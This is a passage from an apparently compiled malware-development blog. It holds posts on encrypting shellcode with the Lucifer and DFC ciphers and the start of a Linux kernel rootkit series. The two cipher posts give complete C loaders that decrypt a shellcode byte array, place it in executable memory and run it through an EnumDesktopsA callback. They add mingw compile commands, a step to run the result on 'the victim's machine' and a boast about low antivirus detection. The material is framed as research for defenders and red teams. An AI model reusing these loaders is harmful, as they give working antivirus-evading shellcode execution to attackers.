key_byte_idx = (key_byte_idx + 1) % round_count;
}
}

// swap halves
for (int i = 0; i < block_size / 2; ++i) {
swap(&lower_half[i], &upper_half[i]);
}
}

// physically swap halves


for (int i = 0; i < block_size / 2; ++i) {
swap(&block[i], &block[i + block_size / 2]);
}
}

// payload encryption function


void lucifer_encrypt_payload(unsigned char* payload, int payload_len,
unsigned char* key) {
for (int i = 0; i < payload_len / block_size; i++) {
Lucifer((char*)(payload + i * block_size), (char*)key, false);
}
}

// payload decryption function


void lucifer_decrypt_payload(unsigned char* payload, int payload_len,
unsigned char* key) {
for (int i = 0; i < payload_len / block_size; i++) {
Lucifer((char*)(payload + i * block_size), (char*)key, true);
}
}

int main() {
unsigned char key[16] = "meowmeowbowwoow"; // example 128-bit key
unsigned char my_payload[] = {
0xfc, 0x48, 0x81, 0xe4, 0xf0, 0xff, 0xff, 0xff, 0xe8, 0xd0, 0x0, 0x0,
0x0, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65,
0x48, 0x8b, 0x52, 0x60, 0x3e, 0x48, 0x8b, 0x52, 0x18, 0x3e, 0x48, 0x8b,
0x52, 0x20, 0x3e, 0x48, 0x8b, 0x72, 0x50, 0x3e, 0x48, 0xf, 0xb7, 0x4a,
0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x2,
0x2c, 0x20, 0x41, 0xc1, 0xc9, 0xd, 0x41, 0x1, 0xc1, 0xe2, 0xed, 0x52,
0x41, 0x51, 0x3e, 0x48, 0x8b, 0x52, 0x20, 0x3e, 0x8b, 0x42, 0x3c, 0x48,
0x1, 0xd0, 0x3e, 0x8b, 0x80, 0x88, 0x0, 0x0, 0x0, 0x48, 0x85, 0xc0,
0x74, 0x6f, 0x48, 0x1, 0xd0, 0x50, 0x3e, 0x8b, 0x48, 0x18, 0x3e, 0x44,

897
0x8b, 0x40, 0x20, 0x49, 0x1, 0xd0, 0xe3, 0x5c, 0x48, 0xff, 0xc9, 0x3e,
0x41, 0x8b, 0x34, 0x88, 0x48, 0x1, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31,
0xc0, 0xac, 0x41, 0xc1, 0xc9, 0xd, 0x41, 0x1, 0xc1, 0x38, 0xe0, 0x75,
0xf1, 0x3e, 0x4c, 0x3, 0x4c, 0x24, 0x8, 0x45, 0x39, 0xd1, 0x75, 0xd6,
0x58, 0x3e, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x1, 0xd0, 0x66, 0x3e, 0x41,
0x8b, 0xc, 0x48, 0x3e, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x1, 0xd0, 0x3e,
0x41, 0x8b, 0x4, 0x88, 0x48, 0x1, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e,
0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20,
0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x3e, 0x48, 0x8b, 0x12,
0xe9, 0x49, 0xff, 0xff, 0xff, 0x5d, 0x49, 0xc7, 0xc1, 0x0, 0x0, 0x0,
0x0, 0x3e, 0x48, 0x8d, 0x95, 0xfe, 0x0, 0x0, 0x0, 0x3e, 0x4c, 0x8d,
0x85, 0x9, 0x1, 0x0, 0x0, 0x48, 0x31, 0xc9, 0x41, 0xba, 0x45, 0x83,
0x56, 0x7, 0xff, 0xd5, 0x48, 0x31, 0xc9, 0x41, 0xba, 0xf0, 0xb5, 0xa2,
0x56, 0xff, 0xd5, 0x4d, 0x65, 0x6f, 0x77, 0x2d, 0x6d, 0x65, 0x6f, 0x77,
0x21, 0x0, 0x3d, 0x5e, 0x2e, 0x2e, 0x5e, 0x3d, 0x0
};

int my_payload_len = sizeof(my_payload);


int pad_len = my_payload_len + (block_size - my_payload_len % block_size) %
block_size;

unsigned char padded[pad_len];


memset(padded, 0x90, pad_len); // pad with NOPs (0x90)
memcpy(padded, my_payload, my_payload_len);

printf("original payload: ");


for (int i = 0; i < my_payload_len; i++) {
printf("%02x ", my_payload[i]);
}
printf("\n\n");

// encrypt the payload


lucifer_encrypt_payload(padded, pad_len, key);

printf("encrypted payload: ");


for (int i = 0; i < pad_len; i++) {
printf("%02x ", padded[i]);
}
printf("\n\n");

// decrypt the payload


lucifer_decrypt_payload(padded, pad_len, key);

printf("decrypted payload: ");


for (int i = 0; i < my_payload_len; i++) {
printf("%02x ", padded[i]);

898
}
printf("\n\n");

LPVOID mem = VirtualAlloc(NULL, my_payload_len, MEM_COMMIT,


PAGE_EXECUTE_READWRITE);
RtlMoveMemory(mem, padded, my_payload_len);
EnumDesktopsA(GetProcessWindowStation(), (DESKTOPENUMPROCA)mem, NULL);
return 0;
}
As usually, I used meow-meow messagebox payload here:
unsigned char my_payload[] = {
0xfc, 0x48, 0x81, 0xe4, 0xf0, 0xff, 0xff, 0xff, 0xe8, 0xd0, 0x0, 0x0,
0x0, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65,
0x48, 0x8b, 0x52, 0x60, 0x3e, 0x48, 0x8b, 0x52, 0x18, 0x3e, 0x48, 0x8b,
0x52, 0x20, 0x3e, 0x48, 0x8b, 0x72, 0x50, 0x3e, 0x48, 0xf, 0xb7, 0x4a,
0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x2,
0x2c, 0x20, 0x41, 0xc1, 0xc9, 0xd, 0x41, 0x1, 0xc1, 0xe2, 0xed, 0x52,
0x41, 0x51, 0x3e, 0x48, 0x8b, 0x52, 0x20, 0x3e, 0x8b, 0x42, 0x3c, 0x48,
0x1, 0xd0, 0x3e, 0x8b, 0x80, 0x88, 0x0, 0x0, 0x0, 0x48, 0x85, 0xc0,
0x74, 0x6f, 0x48, 0x1, 0xd0, 0x50, 0x3e, 0x8b, 0x48, 0x18, 0x3e, 0x44,
0x8b, 0x40, 0x20, 0x49, 0x1, 0xd0, 0xe3, 0x5c, 0x48, 0xff, 0xc9, 0x3e,
0x41, 0x8b, 0x34, 0x88, 0x48, 0x1, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31,
0xc0, 0xac, 0x41, 0xc1, 0xc9, 0xd, 0x41, 0x1, 0xc1, 0x38, 0xe0, 0x75,
0xf1, 0x3e, 0x4c, 0x3, 0x4c, 0x24, 0x8, 0x45, 0x39, 0xd1, 0x75, 0xd6,
0x58, 0x3e, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x1, 0xd0, 0x66, 0x3e, 0x41,
0x8b, 0xc, 0x48, 0x3e, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x1, 0xd0, 0x3e,
0x41, 0x8b, 0x4, 0x88, 0x48, 0x1, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e,
0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20,
0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x3e, 0x48, 0x8b, 0x12,
0xe9, 0x49, 0xff, 0xff, 0xff, 0x5d, 0x49, 0xc7, 0xc1, 0x0, 0x0, 0x0,
0x0, 0x3e, 0x48, 0x8d, 0x95, 0xfe, 0x0, 0x0, 0x0, 0x3e, 0x4c, 0x8d,
0x85, 0x9, 0x1, 0x0, 0x0, 0x48, 0x31, 0xc9, 0x41, 0xba, 0x45, 0x83,
0x56, 0x7, 0xff, 0xd5, 0x48, 0x31, 0xc9, 0x41, 0xba, 0xf0, 0xb5, 0xa2,
0x56, 0xff, 0xd5, 0x4d, 0x65, 0x6f, 0x77, 0x2d, 0x6d, 0x65, 0x6f, 0x77,
0x21, 0x0, 0x3d, 0x5e, 0x2e, 0x2e, 0x5e, 0x3d, 0x0
};
Also, this code correctly maintaining the padding scheme and payload length.

demo 2
Let’s go to see everything in action. Compile it (in my linux machine):
x86_64-w64-mingw32-gcc -O2 hack2.c -o hack2.exe \
-I/usr/share/mingw-w64/include/ -s \
-ffunction-sections -fdata-sections -Wno-write-strings \

899
-fno-exceptions -fmerge-all-constants \
-static-libstdc++ -static-libgcc

Then, just run it in the victim’s machine (windows 11 x64 in my case):


.\hack2.exe

900
As you can see, everything is worked perfectly! =.. =
Calculating Shannon entropy:
python3 entropy.py -f hack2.exe

Our payload in the .text section.


As you know, many of the encryption algorithms I have looked at in my research and
on this blog are used Feistel networks.

cryptoanalysis
Biham and Shamir (E. Biham and A. Shamir, “Differential Cryptanalysis of Snefru, Khafre,
REDOC–II, LOKI, and Lucifer,” Advances in Cryptology—CRYPTO ’91 Proceedings, 1992,
pp. 156–171 and E. Biham and A. Shamir, Differential Cryptanalysis of the Data Encryption
Standard, Springer–Verlag, 1993) demonstrated that the initial version of Lucifer, uti-
lizing 32-bit blocks and 8 rounds, is susceptible to differential cryptanalysis, requiring
40 chosen plaintexts and \( 2^{29} \) steps; similarly, the same attack can compromise
Lucifer with 128-bit blocks and 8 rounds, necessitating 60 chosen plaintexts and \(
2^{53} \) steps. A differential cryptanalytic attack successfully compromises 18-round,
128-bit Lucifer using 24 selected plaintexts in 221 steps.
I hope this post is useful for malware researchers, C/C++ programmers, spreads aware-
ness to the blue teamers of this interesting encrypting technique, and adds a weapon to
the red teamers arsenal.
Malware and cryptography 1
source code in github
E. Biham and A. Shamir, “Differential Cryptanalysis of Snefru, Khafre, REDOC–II, LOKI,
and Lucifer,” Advances in Cryptology—CRYPTO ’91 Proceedings, 1992, pp. 156–171

901
97. malware and cryptography research - part 6 (34): encrypt pay-
load via DFC algorithm. Simple C example.

After my presentation and workshop at a conference in Luxembourg where I touched


on the abuse of cryptographic functions in the internal structure of Windows OS, many
colleagues and readers increasingly have questions about the use of cryptography in
protecting malware during its development.
This post is the result of my own research on using DFC (Decorrelated Fast Cipher)
on malware development. As usual, exploring various crypto algorithms, I decided to
check what would happen if we apply this to encrypt/decrypt the payload.

DFC
The Decorrelated Fast Cipher (DFC) was developed in 1998 by cryptographers from
the École Normale Supérieure, the CNRS, and France Telecom under the leadership of Serge
Vaudenay. Designed as a candidate for the Advanced Encryption Standard (AES) com-
petition, DFC is a symmetric block cipher using an 8-round Feistel network and a
128-bit block size. Though ultimately not selected as the AES standard, DFC con-
tributed to cryptographic research, particularly in the PEANUT family of ciphers.
The Decorrelated Fast Cipher (DFC) based on an 8-round Feistel network, with each
round processing a 128-bit block divided into two 64-bit halves. DFC uses a key
schedule to generate 8 unique round keys from a variable-length key of up to 256 bits,
while it is commonly implemented with a 128-bit key. Each round applies a particular
encryption function to one half of the block, combines it with the other half, then swaps
the halves - a classic Feistel structure that allows for simple decryption by reversing the
sequence of the keys.
DFC’s architecture seeks to give excellent security against differential and linear crypt-
analysis, and it is notable for using decorrelation theory, which reduces statistical rela-
tionships inside encrypted data in order to resist modern cryptographic assaults. Each
round’s encryption function employs a pair of 64-bit subkeys derived from the main
key, making the cipher suitable for hardware and software implementations.

902
Although DFC was not chosen as the final AES standard, it presented novel techniques
to resisting decorrelation-based attacks, stressing strong security features for symmetric
block ciphers. DFC is now a member of the larger PEANUT family (Pretty Encryp-
tion Algorithm with n-Universal Transformation), which is notable for using unique
mathematical transformations to increase its resistance to cryptanalysis.

practical example
Let’s implement it in practice. Let’s break down the implementation step by step to
understand how the DFC-based encryption and decryption functions need to be imple-
mented, focusing on the encryption of a payload. This approach will help you understand
each part of the code and how it contributes to the functionality of the DFC cipher.
First of all define constants and key variables:
#define ROUNDS 8
#define BLOCK_SIZE 16
Then we need key schedule generation.
The key schedule function generates eight 128-bit round keys based on the original
encryption key. These round keys are used in each of the Feistel rounds to perform
operations on each half of the data block:
void key_schedule(uint8_t* key) {
for (int i = 0; i < ROUNDS; i++) {
for (int j = 0; j < 16; j++) {
K[i][j] = key[j] ^ (i + j);
}
}
}
The round keys are derived by XORing each byte of the main key with the round and
byte indices, creating unique keys for each round.
The next one is implement the Feistel round function. In DFC, each round performs
operations on the left and right halves of the block. The round function is defined as G,
which takes the left and right halves of the block, and a roundKey.
This function: swaps the left and right halves and XORs the left half (after applying F
function) with the right half and the current round key:
// DFC G function applies Feistel structure in each round
void G(uint32_t* left, uint32_t* right, uint8_t* roundKey) {
uint32_t tempRight = *right;
*right = *left ^ F(*right, *(uint32_t*)roundKey);
*left = tempRight;
}
F is the core function of the Feistel structure. In my implementation, the F function for
the Decorrelated Fast Cipher (DFC) round uses a bitwise rotation and XOR operation
to introduce non-linearity and diffusion in each round:

903
// function F for DFC round (simplified for illustration)
uint32_t F(uint32_t left, uint32_t key_part) {
return rotl(left + key_part, 3) ^ key_part;
}
Here, left param is typically the left half of the data block in the Feistel round,
key_part is a 32-bit portion of the round key, specific to each Feistel round.
The main logic of this function is simple.
The left input (half of the data block) is added to the key_part. This addition intro-
duces dependency on both the current data and the key, making each round sensitive
to the specific round key.
The result of the addition is then rotated left by 3 bits (rotl(..., 3)). Bitwise
rotation is used here to disperse the bits across the data, enhancing diffusion. The rotl
function shifts bits to the left by 3 positions, with the leftmost bits wrapping around to
the right.
Finally, the result of the rotation is XORed with key_part. XOR introduces further
non-linearity and ensures that small changes in key_part or left lead to significant
changes in the output of F.
The next function we needed is block encryption logic.
The dfc_encrypt function performs the encryption in a Feistel structure over 8
rounds. Each round uses a different round key generated from the key schedule:
// DFC encryption function
void dfc_encrypt(uint32_t* block, uint8_t* key) {
uint32_t left = block[0], right = block[1];

// perform 8 rounds of encryption


for (int i = 0; i < ROUNDS; i++) {
G(&left, &right, K[i]);
}

// final left-right swap


block[0] = right;
block[1] = left;
}
This function initializes left and right from the input block. Then for each of the 8
rounds, applies the G function to left and right with the corresponding round key.
Finally, swaps left and right to complete the Feistel round and update the block.
The decryption function dfc_decrypt mirrors the encryption, but the rounds are ap-
plied in reverse order:
// DFC decryption function
void dfc_decrypt(uint32_t* block, uint8_t* key) {

904
uint32_t left = block[0], right = block[1];

// perform 8 rounds of decryption in reverse


for (int i = ROUNDS - 1; i >= 0; i--) {
G(&left, &right, K[i]);
}

// final left-right swap


block[0] = right;
block[1] = left;
}
As usual, dfc_encrypt_shellcode prepares shellcode for encryption by applying
padding and then encrypting each 128-bit block:
// function to encrypt shellcode using DFC
void dfc_encrypt_shellcode(unsigned char* shellcode, int shellcode_len,
uint8_t* key) {
key_schedule(key); // generate subkeys
int i;
uint32_t* ptr = (uint32_t*)shellcode;
for (i = 0; i < shellcode_len / BLOCK_SIZE; i++) {
dfc_encrypt(ptr, key);
ptr += 4; // move to the next 128-bit block (4 * 32-bit words)
}
// handle remaining bytes by padding with 0x90 (NOP)
int remaining = shellcode_len % BLOCK_SIZE;
if (remaining != 0) {
unsigned char pad[BLOCK_SIZE] = { 0x90 };
memcpy(pad, ptr, remaining);
dfc_encrypt((uint32_t*)pad, key);
memcpy(ptr, pad, remaining);
}
}
This function calls key_schedule to initialize round keys. Then encrypts the main
shellcode in 128-bit blocks. And applies padding if the shellcode length is not a
multiple of the block size.
The next one is decryption logic:
// function to decrypt shellcode using DFC
void dfc_decrypt_shellcode(unsigned char* shellcode, int shellcode_len,
uint8_t* key) {
key_schedule(key); // generate subkeys
int i;
uint32_t* ptr = (uint32_t*)shellcode;
for (i = 0; i < shellcode_len / BLOCK_SIZE; i++) {

905
dfc_decrypt(ptr, key);
ptr += 4;
}
// handle remaining bytes by padding
int remaining = shellcode_len % BLOCK_SIZE;
if (remaining != 0) {
unsigned char pad[BLOCK_SIZE] = { 0x90 };
memcpy(pad, ptr, remaining);
dfc_decrypt((uint32_t*)pad, key);
memcpy(ptr, pad, remaining);
}
}
Finally, putting it all together in main:
int main() {
unsigned char my_payload[] =
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";

int my_payload_len = sizeof(my_payload);


int pad_len = my_payload_len +
(BLOCK_SIZE - my_payload_len % BLOCK_SIZE) % BLOCK_SIZE;
unsigned char padded[pad_len];
memset(padded, 0x90, pad_len); // pad with NOPs
memcpy(padded, my_payload, my_payload_len);

906
printf("original shellcode:\n");
for (int i = 0; i < my_payload_len; i++) {
printf("%02x ", my_payload[i]);
}
printf("\n\n");

uint8_t key[8] = { 0x12, 0x34, 0x56, 0x78, 0x9A, 0xBC, 0xDE, 0xF0 };

dfc_encrypt_shellcode(padded, pad_len, key);

printf("encrypted shellcode:\n");
for (int i = 0; i < pad_len; i++) {
printf("%02x ", padded[i]);
}
printf("\n\n");

dfc_decrypt_shellcode(padded, pad_len, key);

printf("decrypted shellcode:\n");
for (int i = 0; i < my_payload_len; i++) {
printf("%02x ", padded[i]);
}
printf("\n\n");

// allocate and execute decrypted shellcode


LPVOID mem = VirtualAlloc(NULL, my_payload_len, MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
RtlMoveMemory(mem, padded, my_payload_len);
EnumDesktopsA(GetProcessWindowStation(), (DESKTOPENUMPROCA)mem, NULL);

return 0;
}
As you can, see in the main function I just encrypted/decrypted meow-meow messagebox
payload.
Full source code hack.c:
/*
* hack.c
* encrypt/decrypt payload via DFC (Decorrelated Fast Cipher) algorithm
* author: @cocomelonc
* https://cocomelonc.github.io/malware/2024/11/10/malware-cryptography-34.html
*/

#include <stdio.h>

907
#include <stdint.h>
#include <string.h>
#include <stdlib.h>
#include <windows.h>

#define ROUNDS 8 // DFC uses 8 rounds of encryption


#define BLOCK_SIZE 16 // DFC operates on 128-bit (16-byte) blocks

// subkeys generated from the main key


uint8_t K[ROUNDS][16];

// rotate left function


uint32_t rotl(uint32_t x, int shift) {
return (x << shift) | (x >> (32 - shift));
}

// function F for DFC round (simplified for illustration)


uint32_t F(uint32_t left, uint32_t key_part) {
return rotl(left + key_part, 3) ^ key_part;
}

// DFC G function applies Feistel structure in each round


void G(uint32_t* left, uint32_t* right, uint8_t* roundKey) {
uint32_t tempRight = *right;
*right = *left ^ F(*right, *(uint32_t*)roundKey);
*left = tempRight;
}

// key schedule for DFC


void key_schedule(uint8_t* key) {
for (int i = 0; i < ROUNDS; i++) {
for (int j = 0; j < 16; j++) {
K[i][j] = key[j % 8] ^ (i + j); // generate subkey for each round
}
}
}

// DFC encryption function


void dfc_encrypt(uint32_t* block, uint8_t* key) {
uint32_t left = block[0], right = block[1];

// perform 8 rounds of encryption


for (int i = 0; i < ROUNDS; i++) {
G(&left, &right, K[i]);
}

908
// final left-right swap
block[0] = right;
block[1] = left;
}

// DFC decryption function


void dfc_decrypt(uint32_t* block, uint8_t* key) {
uint32_t left = block[0], right = block[1];

// perform 8 rounds of decryption in reverse


for (int i = ROUNDS - 1; i >= 0; i--) {
G(&left, &right, K[i]);
}

// final left-right swap


block[0] = right;
block[1] = left;
}

// function to encrypt shellcode using DFC


void dfc_encrypt_shellcode(unsigned char* shellcode, int shellcode_len,
uint8_t* key) {
key_schedule(key); // generate subkeys
int i;
uint32_t* ptr = (uint32_t*)shellcode;
for (i = 0; i < shellcode_len / BLOCK_SIZE; i++) {
dfc_encrypt(ptr, key);
ptr += 4; // move to the next 128-bit block (4 * 32-bit words)
}
// handle remaining bytes by padding with 0x90 (NOP)
int remaining = shellcode_len % BLOCK_SIZE;
if (remaining != 0) {
unsigned char pad[BLOCK_SIZE] = { 0x90 };
memcpy(pad, ptr, remaining);
dfc_encrypt((uint32_t*)pad, key);
memcpy(ptr, pad, remaining);
}
}

// function to decrypt shellcode using DFC


void dfc_decrypt_shellcode(unsigned char* shellcode, int shellcode_len,
uint8_t* key) {
key_schedule(key); // generate subkeys
int i;
uint32_t* ptr = (uint32_t*)shellcode;
for (i = 0; i < shellcode_len / BLOCK_SIZE; i++) {

909
dfc_decrypt(ptr, key);
ptr += 4;
}
// handle remaining bytes by padding
int remaining = shellcode_len % BLOCK_SIZE;
if (remaining != 0) {
unsigned char pad[BLOCK_SIZE] = { 0x90 };
memcpy(pad, ptr, remaining);
dfc_decrypt((uint32_t*)pad, key);
memcpy(ptr, pad, remaining);
}
}

int main() {
unsigned char my_payload[] =
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";

int my_payload_len = sizeof(my_payload);


int pad_len = my_payload_len +
(BLOCK_SIZE - my_payload_len % BLOCK_SIZE) % BLOCK_SIZE;
unsigned char padded[pad_len];
memset(padded, 0x90, pad_len); // pad with NOPs
memcpy(padded, my_payload, my_payload_len);

910
printf("original shellcode:\n");
for (int i = 0; i < my_payload_len; i++) {
printf("%02x ", my_payload[i]);
}
printf("\n\n");

uint8_t key[8] = { 0x12, 0x34, 0x56, 0x78, 0x9A, 0xBC, 0xDE, 0xF0 };

dfc_encrypt_shellcode(padded, pad_len, key);

printf("encrypted shellcode:\n");
for (int i = 0; i < pad_len; i++) {
printf("%02x ", padded[i]);
}
printf("\n\n");

dfc_decrypt_shellcode(padded, pad_len, key);

printf("decrypted shellcode:\n");
for (int i = 0; i < my_payload_len; i++) {
printf("%02x ", padded[i]);
}
printf("\n\n");

// allocate and execute decrypted shellcode


LPVOID mem = VirtualAlloc(NULL, my_payload_len, MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
RtlMoveMemory(mem, padded, my_payload_len);
EnumDesktopsA(GetProcessWindowStation(), (DESKTOPENUMPROCA)mem, NULL);

return 0;
}
As usual some printing logic is just for checking correctness of logic and running payload
via EnumDesktopsA.

demo
Let’s go to see everything in action. Compile it (in my linux machine):
x86_64-w64-mingw32-gcc -O2 hack.c -o hack.exe \
-I/usr/share/mingw-w64/include/ -s \
-ffunction-sections -fdata-sections \
-Wno-write-strings -fno-exceptions -fmerge-all-constants \
-static-libstdc++ -static-libgcc

911
Then, just run it in the victim’s machine (windows 11 x64 in my case):
.\hack.exe

912
As you can see, everything is worked perfectly! =.. =
Calculating Shannon entropy:
python3 entropy.py -f hack.exe

Our payload in the .text section.


Scanning via Malware scanner:

913
https://websec.net/scanner/result/8d7862b2-dbba-48bb-924c-a3694cac3269
Upload to VirusTotal:

914
https://www.virustotal.com/gui/file/9d702d3194ef3a6160f9ab7f6b30ebaae92c365fa4
c12368c7e9ec589ebbe1fd/detection
As you can see, only 29 of 72 AV engines detect our file as malicious.
Interesting result.
As you know, many of the encryption algorithms I have looked at in my research and
on this blog are used Feistel networks.

cryptoanalysis
The cryptanalysis of Decorrelated Fast Cipher (DFC) has revealed vulnerabilities in
its structure, particularly through differential analysis. In 1999, cryptographers Lars
Knudsen and Vincent Rijmen (Lars R. Knudsen and Vincent Rijmen. “On The Decorrelated
Fast Cipher (DFC) and Its Theory”. Department of Informatics, University of Bergen, N-
5020 Bergen. 24 March 1999. 6th International Workshop on Fast Software Encryption
(FSE ’99). Rome: Springer-Verlag. pp. 81–94) discovered that DFC’s 8-round structure
could be weakened using differential attacks. Their work demonstrated that a differential
attack could successfully break 6 of DFC’s 8 rounds, exploiting the cipher’s susceptibility
to differences introduced in specific parts of its Feistel rounds. This attack revealed
weaknesses in the diffusion properties of DFC, indicating that, although designed for
the AES competition, DFC was less resistant to cryptanalytic techniques than some
other candidates.
I hope this post is useful for malware researchers, C/C++ programmers, spreads aware-
ness to the blue teamers of this interesting encrypting technique, and adds a weapon to
the red teamers arsenal.
https://en.wikipedia.org/wiki/DFC_(cipher)
On The Decorrelated Fast Cipher (DFC) and Its Theory. Lars R. Knudsen and Vincent
Rijmen
Malware And Hunting For Persistence: How Adversaries Exploit Your Windows? -
Cocomelonc. HACKLU 2024

915
Malware and cryptography 1
source code in github

916
98. linux malware development 1: Intro to kernel hacking. Simple
C example.

In fact, this post could be called something else like “Malware development trick part 41”,
but here I again answer many questions that my readers ask me. How can I develop
malware for linux?
Perhaps this post will be the beginning and also the starting point for a series of posts
(those who have been reading me for a long time have probably noticed that I have
many different series of posts that I started but have not yet brought these series to their
logical end).
To be honest, my last experience of programming for Linux kernel was at the university
about 10+ years ago, since then a lot has changed, so I decided to try to write something
interesting like malware: linux rootkit, stealer, etc….
First of all, I installed a linux virtual machine - xubuntu 20.04 so as not to break anything
in my system. I think you can install a more recent version of Ubuntu (Xubuntu,
Lubuntu), but version 20.04 is quite suitable for experiments:

917
practical example
For example if we need create a malware, like a kernel rootkit, the code we develop
will have the ability to execute with kernel level privileges (ring 0) using the kernel
modules we create. Working in this role can have its challenges. On one hand, our work
goes unnoticed by the user and userspace tools. However, if we make a mistake, it can
have serious consequences. The kernel is unable to protect us from its own flaws, which
means we risk crashing the entire system. Using VM will help alleviate the challenges
of developing in our xubuntu, making it a much more manageable requirement.
Let’s start from import modules:
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
These #include statements include the necessary header files for kernel module pro-
gramming: - linux/init.h - contains macros and functions for module initialization
and cleanup.
- linux/module.h - contains macros and functions for module programming.
- linux/kernel.h - provides various functions and macros for kernel development.
MODULE_LICENSE("GPL");
MODULE_AUTHOR("cocomelonc");
MODULE_DESCRIPTION("kernel-test-01");
MODULE_VERSION("0.001");
These macros define metadata about the module:
• MODULE_LICENSE("GPL") - specifies the license under which the module is
released. Here, it’s the GNU General Public License.

• MODULE_AUTHOR("cocomelonc") - specifies the author of the module.

918
• MODULE_DESCRIPTION("kernel-test-01") - Provides a description of the
module.

• MODULE_VERSION("0.001") - specifies the version of the module.


At the next few lines we are define initialization function:
static int __init hack_init(void) {
printk(KERN_INFO "Meow-meow!\n");
return 0;
}
This function is the initialization function for the module:
